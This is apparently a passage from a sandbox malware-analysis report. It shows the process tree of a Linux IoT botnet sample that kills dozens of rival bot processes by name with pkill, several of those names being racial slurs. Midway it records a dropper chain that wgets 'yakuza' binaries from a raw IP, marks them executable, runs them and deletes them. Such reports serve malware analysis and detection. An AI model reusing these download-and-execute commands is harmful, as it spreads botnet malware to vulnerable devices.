- Reads CPU attributes
PID:2218
-
-
/bin/busyboxbusybox pkill -9 SoraBeReppin13374⤵PID:2220
-
-
-
/bin/shsh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"3⤵
- System Network Configuration Discovery
PID:2226 -
/usr/bin/pkillpkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:2227
-
-
/bin/busyboxbusybox pkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:2228
-
-
-
/bin/shsh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"3⤵PID:2233
-
/usr/bin/pkillpkill -9 66tlGg9Q4⤵
- Reads runtime system information
PID:2234
-
-
/bin/busyboxbusybox pkill -9 66tlGg9Q4⤵PID:2237
-
-
-
/bin/shsh -c "pkill -9 T || busybox pkill -9 T"3⤵PID:2242
-
/usr/bin/pkillpkill -9 T4⤵
- Reads CPU attributes
PID:2245
-
-
/bin/busyboxbusybox pkill -9 T4⤵PID:2247
-
-
-
/bin/shsh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"3⤵PID:2252
-
/usr/bin/pkillpkill -9 jUYfouyf874⤵PID:2253
-
-
/bin/busyboxbusybox pkill -9 jUYfouyf874⤵PID:2256
-
-
-
/bin/shsh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"3⤵PID:2261
-
/usr/bin/pkillpkill -9 6ke34⤵
- Reads CPU attributes
PID:2262
-
-
/bin/busyboxbusybox pkill -9 6ke34⤵PID:2264
-
-
-
/bin/shsh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"3⤵PID:2269
-
/usr/bin/pkillpkill -9 TOKYO34⤵PID:2271
-
-
/bin/busyboxbusybox pkill -9 TOKYO34⤵PID:2274
-
-
-
/bin/shsh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"3⤵PID:2279
-
/usr/bin/pkillpkill -9 lyEeaXul2dULCVxh4⤵PID:2281
-
-
/bin/busyboxbusybox pkill -9 lyEeaXul2dULCVxh4⤵PID:2285
-
-
-
/bin/shsh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"3⤵PID:2288
-
/usr/bin/pkillpkill -9 93OfjHZ2z4⤵PID:2292
-
-
/bin/busyboxbusybox pkill -9 93OfjHZ2z4⤵PID:2295
-
-
-
/bin/shsh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"3⤵PID:2300
-
/usr/bin/pkillpkill -9 TY2gD6MZvKc7KU6r4⤵
- Reads runtime system information
PID:2301
-
-
/bin/busyboxbusybox pkill -9 TY2gD6MZvKc7KU6r4⤵PID:2302
-
-
-
/bin/shsh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"3⤵PID:2307
-
/usr/bin/pkillpkill -9 mMkiy6f87l4⤵PID:2308
-
-
/bin/busyboxbusybox pkill -9 mMkiy6f87l4⤵PID:2312
-
-
-
/bin/shsh -c "pkill -9 A023UU4U24UIU || busybox pkill -9 A023UU4U24UIU"3⤵PID:2314
-
/usr/bin/pkillpkill -9 A023UU4U24UIU4⤵
- Reads CPU attributes
PID:2318
-
-
/bin/busyboxbusybox pkill -9 A023UU4U24UIU4⤵PID:2321
-
-
-
/bin/shsh -c "pkill -9 TheWeeknd || busybox pkill -9 TheWeeknd"3⤵PID:2324
-
/usr/bin/pkillpkill -9 TheWeeknd4⤵PID:2327
-
-
/bin/busyboxbusybox pkill -9 TheWeeknd4⤵PID:2331
-
-
-
/bin/shsh -c "pkill -9 mioribitches || busybox pkill -9 mioribitches"3⤵PID:2334
-
/usr/bin/pkillpkill -9 mioribitches4⤵PID:2337
-
-
/bin/busyboxbusybox pkill -9 mioribitches4⤵PID:2340
-
-
-
/bin/shsh -c "pkill -9 A5p9 || busybox pkill -9 A5p9"3⤵PID:2343
-
/usr/bin/pkillpkill -9 A5p94⤵PID:2344
-
-
/bin/busyboxbusybox pkill -9 A5p94⤵PID:2348
-
-
-
/bin/shsh -c "pkill -9 TheWeeknds || busybox pkill -9 TheWeeknds"3⤵PID:2351
-
/usr/bin/pkillpkill -9 TheWeeknds4⤵PID:2354
-
-
/bin/busyboxbusybox pkill -9 TheWeeknds4⤵PID:2358
-
-
-
/bin/shsh -c "pkill -9 mnblkjpoi || busybox pkill -9 mnblkjpoi"3⤵PID:2362
-
/usr/bin/pkillpkill -9 mnblkjpoi4⤵
- Reads runtime system information
PID:2363
-
-
/bin/busyboxbusybox pkill -9 mnblkjpoi4⤵PID:2366
-
-
-
/bin/shsh -c "pkill -9 AbAd || busybox pkill -9 AbAd"3⤵PID:2368
-
/usr/bin/pkillpkill -9 AbAd4⤵PID:2373
-
-
/bin/busyboxbusybox pkill -9 AbAd4⤵PID:2374
-
-
-
/bin/shsh -c "pkill -9 Tokyos || busybox pkill -9 Tokyos"3⤵PID:2378
-
/usr/bin/pkillpkill -9 Tokyos4⤵
- Reads CPU attributes
PID:2379
-
-
/bin/busyboxbusybox pkill -9 Tokyos4⤵PID:2383
-
-
-
/bin/shsh -c "pkill -9 neb || busybox pkill -9 neb"3⤵PID:2387
-
/usr/bin/pkillpkill -9 neb4⤵
- Reads CPU attributes
PID:2390
-
-
/bin/busyboxbusybox pkill -9 neb4⤵PID:2393
-
-
-
/bin/shsh -c "pkill -9 Akiru || busybox pkill -9 Akiru"3⤵PID:2395
-
/usr/bin/pkillpkill -9 Akiru4⤵PID:2399
-
-
/bin/busyboxbusybox pkill -9 Akiru4⤵PID:2401
-
-
-
/bin/shsh -c "pkill -9 U8inTz || busybox pkill -9 U8inTz"3⤵PID:2404
-
/usr/bin/pkillpkill -9 U8inTz4⤵PID:2409
-
-
/bin/busyboxbusybox pkill -9 U8inTz4⤵PID:2410
-
-
-
/bin/shsh -c "pkill -9 netstats || busybox pkill -9 netstats"3⤵PID:2413
-
/usr/bin/pkillpkill -9 netstats4⤵PID:2414
-
-
/bin/busyboxbusybox pkill -9 netstats4⤵PID:2419
-
-
-
/bin/shsh -c "pkill -9 Alex || busybox pkill -9 Alex"3⤵PID:2422
-
/usr/bin/pkillpkill -9 Alex4⤵PID:2425
-
-
/bin/busyboxbusybox pkill -9 Alex4⤵PID:2429
-
-
-
/bin/shsh -c "pkill -9 W9RCAKM20T || busybox pkill -9 W9RCAKM20T"3⤵PID:2433
-
/usr/bin/pkillpkill -9 W9RCAKM20T4⤵PID:2435
-
-
/bin/busyboxbusybox pkill -9 W9RCAKM20T4⤵PID:2437
-
-
-
/bin/shsh -c "pkill -9 newnetword || busybox pkill -9 newnetword"3⤵PID:2441
-
/usr/bin/pkillpkill -9 newnetword4⤵PID:2444
-
-
/bin/busyboxbusybox pkill -9 newnetword4⤵PID:2447
-
-
-
/bin/shsh -c "pkill -9 Ayo215 || busybox pkill -9 Ayo215"3⤵PID:2450
-
/usr/bin/pkillpkill -9 Ayo2154⤵PID:2452
-
-
/bin/busyboxbusybox pkill -9 Ayo2154⤵PID:2455
-
-
-
/bin/shsh -c "pkill -9 Word || busybox pkill -9 Word"3⤵PID:2458
-
/usr/bin/pkillpkill -9 Word4⤵PID:2462
-
-
/bin/busyboxbusybox pkill -9 Word4⤵PID:2466
-
-
-
/bin/shsh -c "pkill -9 nloads || busybox pkill -9 nloads"3⤵PID:2469
-
/usr/bin/pkillpkill -9 nloads4⤵PID:2471
-
-
/bin/busyboxbusybox pkill -9 nloads4⤵PID:2474
-
-
-
/bin/shsh -c "pkill -9 BAdAsV || busybox pkill -9 BAdAsV"3⤵PID:2477
-
/usr/bin/pkillpkill -9 BAdAsV4⤵PID:2480
-
-
/bin/busyboxbusybox pkill -9 BAdAsV4⤵PID:2484
-
-
-
/bin/shsh -c "pkill -9 Wordmane || busybox pkill -9 Wordmane"3⤵PID:2487
-
/usr/bin/pkillpkill -9 Wordmane4⤵PID:2489
-
-
/bin/busyboxbusybox pkill -9 Wordmane4⤵PID:2492
-
-
-
/bin/shsh -c "pkill -9 notyakuzaa || busybox pkill -9 notyakuzaa"3⤵PID:2494
-
/usr/bin/pkillpkill -9 notyakuzaa4⤵PID:2497
-
-
/bin/busyboxbusybox pkill -9 notyakuzaa4⤵PID:2502
-
-
-
/bin/shsh -c "pkill -9 Belch || busybox pkill -9 Belch"3⤵PID:2505
-
/usr/bin/pkillpkill -9 Belch4⤵PID:2508
-
-
/bin/busyboxbusybox pkill -9 Belch4⤵PID:2509
-
-
-
/bin/shsh -c "pkill -9 Wordnets || busybox pkill -9 Wordnets"3⤵PID:2513
-
/usr/bin/pkillpkill -9 Wordnets4⤵PID:2516
-
-
/bin/busyboxbusybox pkill -9 Wordnets4⤵PID:2518
-
-
-
/bin/shsh -c "pkill -9 obp || busybox pkill -9 obp"3⤵PID:2521
-
/usr/bin/pkillpkill -9 obp4⤵PID:2525
-
-
-
-
/bin/rmrm -rf yakuza.i6862⤵PID:1519
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.ppc2⤵
- Writes file to tmp directory
PID:1523
-
-
/bin/chmodchmod +x yakuza.ppc2⤵
- File and Directory Permissions Modification
PID:1529
-
-
/tmp/yakuza.ppc./yakuza.ppc2⤵PID:1530
-
-
/bin/rmrm -rf yakuza.ppc2⤵PID:1532
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.i5862⤵
- Writes file to tmp directory
PID:1533
-
-
/bin/chmodchmod +x yakuza.i5862⤵
- File and Directory Permissions Modification
PID:1534
-
-
/tmp/yakuza.i586./yakuza.i5862⤵PID:1535
-
/bin/shsh -c "pkill -9 902i13 || busybox pkill -9 902i13"3⤵PID:1540
-
/usr/bin/pkillpkill -9 902i134⤵PID:1541
-
-
/bin/busyboxbusybox pkill -9 902i134⤵PID:1543
-
-
-
/bin/shsh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"3⤵PID:1560
-
/usr/bin/pkillpkill -9 BzSxLxBxeY4⤵
- Reads runtime system information
PID:1561
-
-
/bin/busyboxbusybox pkill -9 BzSxLxBxeY4⤵PID:1562
-
-
-
/bin/shsh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"3⤵PID:1579
-
/usr/bin/pkillpkill -9 HOHO-LUGO74⤵
- Reads runtime system information
PID:1580
-
-
/bin/busyboxbusybox pkill -9 HOHO-LUGO74⤵PID:1581
-
-
-
/bin/shsh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"3⤵PID:1592
-
/usr/bin/pkillpkill -9 HOHO-U79OL4⤵PID:1593
-
-
/bin/busyboxbusybox pkill -9 HOHO-U79OL4⤵PID:1594
-
-
-
/bin/shsh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"3⤵PID:1601
-
/usr/bin/pkillpkill -9 JuYfouyf874⤵PID:1602
-
-
/bin/busyboxbusybox pkill -9 JuYfouyf874⤵PID:1603
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1610
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:1611
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1612
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:1619
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:1620
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:1621
-
-
-
/bin/shsh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"3⤵PID:1628
-
/usr/bin/pkillpkill -9 LOLKIKEEEDDE4⤵
- Reads runtime system information
PID:1629
-
-
/bin/busyboxbusybox pkill -9 LOLKIKEEEDDE4⤵PID:1630
-
-
-
/bin/shsh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"3⤵PID:1637
-
/usr/bin/pkillpkill -9 ekjheory98e4⤵PID:1638
-
-
/bin/busyboxbusybox pkill -9 ekjheory98e4⤵PID:1639
-
-
-
/bin/shsh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"3⤵PID:1646
-
/usr/bin/pkillpkill -9 scansh44⤵
- Reads CPU attributes
PID:1647
-
-
/bin/busyboxbusybox pkill -9 scansh44⤵PID:1648
-
-
-
/bin/shsh -c "pkill -9 MDMA || busybox pkill -9 MDMA"3⤵PID:1655
-
/usr/bin/pkillpkill -9 MDMA4⤵PID:1656
-
-
/bin/busyboxbusybox pkill -9 MDMA4⤵PID:1657
-
-
-
/bin/shsh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"3⤵PID:1664
-
/usr/bin/pkillpkill -9 fdevalvex4⤵PID:1665
-
-
/bin/busyboxbusybox pkill -9 fdevalvex4⤵PID:1666
-
-
-
/bin/shsh -c "pkill -9 scanspc || busybox pkill -9 scanspc"3⤵PID:1673
-
/usr/bin/pkillpkill -9 scanspc4⤵PID:1674
-
-
/bin/busyboxbusybox pkill -9 scanspc4⤵PID:1675
-
-
-
/bin/shsh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"3⤵PID:1682
-
/usr/bin/pkillpkill -9 MELTEDNINJAREALZ4⤵PID:1683
-
-
/bin/busyboxbusybox pkill -9 MELTEDNINJAREALZ4⤵PID:1684
-
-
-
/bin/shsh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"3⤵PID:1691
-
/usr/bin/pkillpkill -9 flexsonskids4⤵
- Reads runtime system information
PID:1692
-
-
/bin/busyboxbusybox pkill -9 flexsonskids4⤵PID:1693
-
-
-
/bin/shsh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"3⤵PID:1700
-
/usr/bin/pkillpkill -9 scanx864⤵PID:1701
-
-
/bin/busyboxbusybox pkill -9 scanx864⤵PID:1702
-
-
-
/bin/shsh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"3⤵PID:1709
-
/usr/bin/pkillpkill -9 MISAKI-U79OL4⤵PID:1710
-
-
/bin/busyboxbusybox pkill -9 MISAKI-U79OL4⤵PID:1711
-
-
-
/bin/shsh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"3⤵PID:1718
-
/usr/bin/pkillpkill -9 foAxi102kxe4⤵PID:1719
-
-
/bin/busyboxbusybox pkill -9 foAxi102kxe4⤵PID:1720
-
-
-
/bin/shsh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"3⤵PID:1727
-
/usr/bin/pkillpkill -9 swodjwodjwoj4⤵PID:1728
-
-
/bin/busyboxbusybox pkill -9 swodjwodjwoj4⤵PID:1729
-
-
-
/bin/shsh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"3⤵PID:1736
-
/usr/bin/pkillpkill -9 MmKiy7f87l4⤵PID:1737
-
-
/bin/busyboxbusybox pkill -9 MmKiy7f87l4⤵PID:1738
-
-
-
/bin/shsh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"3⤵PID:1745
-
/usr/bin/pkillpkill -9 freecookiex864⤵PID:1746
-
-
/bin/busyboxbusybox pkill -9 freecookiex864⤵PID:1747
-
-
-
/bin/shsh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"3⤵PID:1754
-
/usr/bin/pkillpkill -9 sysgpu4⤵PID:1755
-
-
/bin/busyboxbusybox pkill -9 sysgpu4⤵PID:1756
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1763
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:1764
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1765
-
-
-
/bin/shsh -c "pkill -9 frgege || busybox pkill -9 frgege"3⤵PID:1772
-
/usr/bin/pkillpkill -9 frgege4⤵
- Reads CPU attributes
PID:1773
-
-
/bin/busyboxbusybox pkill -9 frgege4⤵PID:1774
-
-
-
/bin/shsh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"3⤵PID:1781
-
/usr/bin/pkillpkill -9 sysupdater4⤵PID:1782
-
-
/bin/busyboxbusybox pkill -9 sysupdater4⤵PID:1783
-
-
-
/bin/shsh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"3⤵PID:1790
-
/usr/bin/pkillpkill -9 0DnAzepd4⤵PID:1791
-
-
/bin/busyboxbusybox pkill -9 0DnAzepd4⤵PID:1792
-
-
-
/bin/shsh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"3⤵PID:1801
-
/usr/bin/pkillpkill -9 NiGGeRD0nks694⤵PID:1802
-
-
/bin/busyboxbusybox pkill -9 NiGGeRD0nks694⤵PID:1803
-
-
-
/bin/shsh -c "pkill -9 frgreu || busybox pkill -9 frgreu"3⤵PID:1810
-
/usr/bin/pkillpkill -9 frgreu4⤵PID:1811
-
-
/bin/busyboxbusybox pkill -9 frgreu4⤵PID:1812
-
-
-
/bin/shsh -c "pkill -9 telnetd || busybox pkill -9 telnetd"3⤵PID:1819
-
/usr/bin/pkillpkill -9 telnetd4⤵
- Reads CPU attributes
PID:1820
-
-
/bin/busyboxbusybox pkill -9 telnetd4⤵PID:1821
-
-
-
/bin/shsh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"3⤵PID:1828
-
/usr/bin/pkillpkill -9 0x766f69644⤵PID:1829
-
-
/bin/busyboxbusybox pkill -9 0x766f69644⤵PID:1830
-
-
-
/bin/shsh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"3⤵PID:1837
-
/usr/bin/pkillpkill -9 NiGGeRd0nks13374⤵PID:1838
-
-
/bin/busyboxbusybox pkill -9 NiGGeRd0nks13374⤵PID:1839
-
-
-
/bin/shsh -c "pkill -9 gaft || busybox pkill -9 gaft"3⤵PID:1846
-
/usr/bin/pkillpkill -9 gaft4⤵PID:1847
-
-
/bin/busyboxbusybox pkill -9 gaft4⤵PID:1848
-
-
-
/bin/shsh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"3⤵PID:1855
-
/usr/bin/pkillpkill -9 urasgbsigboa4⤵PID:1856
-
-
/bin/busyboxbusybox pkill -9 urasgbsigboa4⤵PID:1857
-
-
-
/bin/shsh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"3⤵PID:1864
-
/usr/bin/pkillpkill -9 120i3UI494⤵
- Reads CPU attributes
PID:1865
-
-
/bin/busyboxbusybox pkill -9 120i3UI494⤵PID:1866
-
-
-
/bin/shsh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"3⤵PID:1873
-
/usr/bin/pkillpkill -9 OaF34⤵
- Reads runtime system information
PID:1874
-
-
/bin/busyboxbusybox pkill -9 OaF34⤵PID:1875
-
-
-
/bin/shsh -c "pkill -9 geae || busybox pkill -9 geae"3⤵PID:1882
-
/usr/bin/pkillpkill -9 geae4⤵PID:1883
-
-
/bin/busyboxbusybox pkill -9 geae4⤵PID:1884
-
-
-
/bin/shsh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"3⤵PID:1891
-
/usr/bin/pkillpkill -9 vaiolmao4⤵
- Reads CPU attributes
PID:1892
-
-
/bin/busyboxbusybox pkill -9 vaiolmao4⤵PID:1893
-
-
-
/bin/shsh -c "pkill -9 123123a || busybox pkill -9 123123a"3⤵PID:1900
-
/usr/bin/pkillpkill -9 123123a4⤵PID:1901
-
-
/bin/busyboxbusybox pkill -9 123123a4⤵PID:1902
-
-
-
/bin/shsh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"3⤵PID:1909
-
/usr/bin/pkillpkill -9 Ofurain0n4H34D4⤵PID:1910
-
-
/bin/busyboxbusybox pkill -9 Ofurain0n4H34D4⤵PID:1911
-
-
-
/bin/shsh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"3⤵PID:1918
-
/usr/bin/pkillpkill -9 ggTrex4⤵PID:1919
-
-
/bin/busyboxbusybox pkill -9 ggTrex4⤵PID:1920
-
-
-
/bin/shsh -c "pkill -9 wasads || busybox pkill -9 wasads"3⤵PID:1927
-
/usr/bin/pkillpkill -9 wasads4⤵PID:1928
-
-
/bin/busyboxbusybox pkill -9 wasads4⤵PID:1929
-
-
-
/bin/shsh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"3⤵PID:1936
-
/usr/bin/pkillpkill -9 1293194hjXD4⤵
- Reads CPU attributes
PID:1937
-
-
/bin/busyboxbusybox pkill -9 1293194hjXD4⤵PID:1938
-
-
-
/bin/shsh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"3⤵PID:1945
-
/usr/bin/pkillpkill -9 OthLaLosn4⤵PID:1946
-
-
/bin/busyboxbusybox pkill -9 OthLaLosn4⤵PID:1947
-
-
-
/bin/shsh -c "pkill -9 ggt || busybox pkill -9 ggt"3⤵PID:1954
-
/usr/bin/pkillpkill -9 ggt4⤵PID:1955
-
-
/bin/busyboxbusybox pkill -9 ggt4⤵PID:1956
-
-
-
/bin/shsh -c "pkill -9 wget-log || busybox pkill -9 wget-log"3⤵PID:1963
-
/usr/bin/pkillpkill -9 wget-log4⤵PID:1964
-
-
/bin/busyboxbusybox pkill -9 wget-log4⤵PID:1965
-
-
-
/bin/shsh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"3⤵PID:1972
-
/usr/bin/pkillpkill -9 1337SoraLOADER4⤵PID:1973
-
-
/bin/busyboxbusybox pkill -9 1337SoraLOADER4⤵PID:1974
-
-
-
/bin/shsh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"3⤵PID:1981
-
/usr/bin/pkillpkill -9 SAIAKINA4⤵PID:1982
-
-
/bin/busyboxbusybox pkill -9 SAIAKINA4⤵PID:1983
-
-
-
/bin/shsh -c "pkill -9 ggtq || busybox pkill -9 ggtq"3⤵PID:1990
-
/usr/bin/pkillpkill -9 ggtq4⤵PID:1991
-
-
/bin/busyboxbusybox pkill -9 ggtq4⤵PID:1992
-
-
-
/bin/shsh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"3⤵PID:1999
-
/usr/bin/pkillpkill -9 1378bfp919GRB1Q24⤵
- Reads runtime system information
PID:2000
-
-
/bin/busyboxbusybox pkill -9 1378bfp919GRB1Q24⤵PID:2001
-
-
-
/bin/shsh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"3⤵PID:2008
-
/usr/bin/pkillpkill -9 SAIAKUSO4⤵PID:2009
-
-
/bin/busyboxbusybox pkill -9 SAIAKUSO4⤵PID:2010
-
-
-
/bin/shsh -c "pkill -9 ggtr || busybox pkill -9 ggtr"3⤵PID:2017
-
/usr/bin/pkillpkill -9 ggtr4⤵PID:2018
-
-
/bin/busyboxbusybox pkill -9 ggtr4⤵PID:2019
-
-
-
/bin/shsh -c "pkill -9 14Fa || busybox pkill -9 14Fa"3⤵PID:2026
-
/usr/bin/pkillpkill -9 14Fa4⤵PID:2027
-
-
/bin/busyboxbusybox pkill -9 14Fa4⤵PID:2028
-
-
-
/bin/shsh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"3⤵PID:2035
-
/usr/bin/pkillpkill -9 SEXSLAVE13374⤵PID:2036
-
-
/bin/busyboxbusybox pkill -9 SEXSLAVE13374⤵PID:2037
-
-
-
/bin/shsh -c "pkill -9 ggtt || busybox pkill -9 ggtt"3⤵PID:2044
-
/usr/bin/pkillpkill -9 ggtt4⤵PID:2045
-
-
/bin/busyboxbusybox pkill -9 ggtt4⤵PID:2046
-
-
-
/bin/shsh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"3⤵PID:2053
-
/usr/bin/pkillpkill -9 1902a3u912u3u44⤵PID:2054
-
-
/bin/busyboxbusybox pkill -9 1902a3u912u3u44⤵PID:2055
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:2062
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:2063
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:2064
-
-
-
/bin/shsh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"3⤵PID:2071
-
/usr/bin/pkillpkill -9 haetrghbr4⤵PID:2072
-
-
/bin/busyboxbusybox pkill -9 haetrghbr4⤵PID:2073
-
-
-
/bin/shsh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"3⤵PID:2080
-
/usr/bin/pkillpkill -9 19ju3d4⤵PID:2081
-
-
/bin/busyboxbusybox pkill -9 19ju3d4⤵PID:2082
-
-
-
/bin/shsh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"3⤵PID:2089
-
/usr/bin/pkillpkill -9 SORAojkf1204⤵
- Reads CPU attributes
PID:2090
-
-
/bin/busyboxbusybox pkill -9 SORAojkf1204⤵PID:2091
-
-
-
/bin/shsh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"3⤵PID:2098
-
/usr/bin/pkillpkill -9 hehahejeje924⤵
- Reads CPU attributes
PID:2099
-
-
/bin/busyboxbusybox pkill -9 hehahejeje924⤵PID:2100
-
-
-
/bin/shsh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"3⤵PID:2107
-
/usr/bin/pkillpkill -9 2U2JDJA901F914⤵
- Reads runtime system information
PID:2108
-
-
/bin/busyboxbusybox pkill -9 2U2JDJA901F914⤵PID:2109
-
-
-
/bin/shsh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"3⤵PID:2116
-
/usr/bin/pkillpkill -9 SlaVLav124⤵PID:2117
-
-
/bin/busyboxbusybox pkill -9 SlaVLav124⤵PID:2118
-
-
-
/bin/shsh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"3⤵PID:2125
-
/usr/bin/pkillpkill -9 helpmedaddthhhhh4⤵PID:2126
-
-
/bin/busyboxbusybox pkill -9 helpmedaddthhhhh4⤵PID:2127
-
-
-
/bin/shsh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"3⤵PID:2134
-
/usr/bin/pkillpkill -9 2wgg9qphbq4⤵
- Reads runtime system information
PID:2135
-
-
/bin/busyboxbusybox pkill -9 2wgg9qphbq4⤵PID:2136
-
-
-
/bin/shsh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"3⤵PID:2143
-
/usr/bin/pkillpkill -9 Slav3Th3seD3vices4⤵PID:2144
-
-
/bin/busyboxbusybox pkill -9 Slav3Th3seD3vices4⤵PID:2145
-
-
-
/bin/shsh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"3⤵PID:2152
-
/usr/bin/pkillpkill -9 hzSmYZjYMQ4⤵
- Reads runtime system information
PID:2153
-
-
/bin/busyboxbusybox pkill -9 hzSmYZjYMQ4⤵PID:2154
-
-
-
/bin/shsh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"3⤵PID:2161
-
/usr/bin/pkillpkill -9 5Gbf4⤵
- Reads runtime system information
PID:2162
-
-
/bin/busyboxbusybox pkill -9 5Gbf4⤵PID:2163
-
-
-
/bin/shsh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"3⤵PID:2170
-
/usr/bin/pkillpkill -9 SoRAxD123LOL4⤵PID:2171
-
-
/bin/busyboxbusybox pkill -9 SoRAxD123LOL4⤵PID:2172
-
-
-
/bin/shsh -c "pkill -9 iaGv || busybox pkill -9 iaGv"3⤵PID:2179
-
/usr/bin/pkillpkill -9 iaGv4⤵PID:2180
-
-
/bin/busyboxbusybox pkill -9 iaGv4⤵PID:2181
-
-
-
/bin/shsh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"3⤵PID:2188
-
/usr/bin/pkillpkill -9 5aA34⤵
- Reads CPU attributes
PID:2189
-
-
/bin/busyboxbusybox pkill -9 5aA34⤵PID:2192
-
-
-
/bin/shsh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"3⤵PID:2197
-
/usr/bin/pkillpkill -9 SoRAxD420LOL4⤵PID:2198
-
-
/bin/busyboxbusybox pkill -9 SoRAxD420LOL4⤵PID:2201
-
-
-
/bin/shsh -c "pkill -9 insomni || busybox pkill -9 insomni"3⤵PID:2206
-
/usr/bin/pkillpkill -9 insomni4⤵
- Reads CPU attributes
PID:2207
-
-
/bin/busyboxbusybox pkill -9 insomni4⤵PID:2210
-
-
-
/bin/shsh -c "pkill -9 640277 || busybox pkill -9 640277"3⤵PID:2215
-
/usr/bin/pkillpkill -9 6402774⤵PID:2216
-
-
/bin/busyboxbusybox pkill -9 6402774⤵PID:2219
-
-
-
/bin/shsh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"3⤵PID:2224
-
/usr/bin/pkillpkill -9 SoraBeReppin13374⤵
- Reads runtime system information
PID:2225
-
-
/bin/busyboxbusybox pkill -9 SoraBeReppin13374⤵PID:2229
-
-
-
/bin/shsh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"3⤵
- System Network Configuration Discovery
PID:2235 -
/usr/bin/pkillpkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:2236
-
-
/bin/busyboxbusybox pkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:2238
-
-
-
/bin/shsh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"3⤵PID:2243
-
/usr/bin/pkillpkill -9 66tlGg9Q4⤵PID:2244
-
-
/bin/busyboxbusybox pkill -9 66tlGg9Q4⤵PID:2246
-
-
-
